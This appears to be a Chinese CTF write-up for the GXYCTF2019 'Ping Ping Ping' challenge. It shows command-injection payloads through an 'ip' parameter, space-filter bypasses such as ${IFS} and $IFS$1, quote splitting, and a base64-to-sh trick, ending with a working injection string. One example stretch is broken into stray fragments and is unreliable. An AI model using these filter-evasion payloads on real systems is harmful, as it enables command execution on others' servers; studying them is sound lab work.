1
本题考点:字符绕过
这里表示需要用get请求从传入ip的值
这里的ip=0~255.255.255.255的所有值
这里我尝试用ls命令查看其目录下的文件名
尝试用cat命令直接得到flag,发现这里空格被过滤了
Linux下绕过空格的方方法
${IFS}替换
$IFS$1替换 //1可以是大于0的任意整数
${IFS替换
<和<>重定向符替换
其他
%20替换
%09替换
此处说过滤了该符号
到这里又绕过了一处,但是flag被过滤掉了
但可以查看index.php
bash被禁用,尝试变量拼接
这是另一种方法,Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行这里边的|是管道符。题目就是用base64进行编码,再用命令进行解读。从而达到执行。这里用的是sh,sh的大部分脚本都可以在bash下运行
1.管道符 | 直接执行后面的语句
2.管道符 || 如果前面命令是错的那么执行后面的语句 否则只执行前面的语句
3.管道符 & 前面和后面命令都要执行,无论前面真假
1.单引号、双引号绕过 :ca"t fl’'ag
2.反斜线绕过 :cat flag
3.$1、$2等和 $@绕过:c
1
a
t
g
h
1at gh
1atgh@twf01.txt
- more:一页一页的显示档案内容
- less:与 more 类似,但是比 more 更好的是,他可以 [pg dn][pg up]翻页
- head:查看头几行
- tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
- tail:查看尾几行
- nl:显示的时候,顺便输出行号
- od:以二进制的方式读取档案内容
- vi:一种编辑器,这个也可以查看
- vim:一种编辑器,这个也可以查看
- sort:可以查看
- uniq:可以查看
- file -f:报错出具体内容
内联,就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1`ls`


![buuctf [GXYCTF2019]Ping Ping Ping学习笔记 buuctf [GXYCTF2019]Ping Ping Ping学习笔记](http://www.mshxw.com/aiimages/31/888656.png)
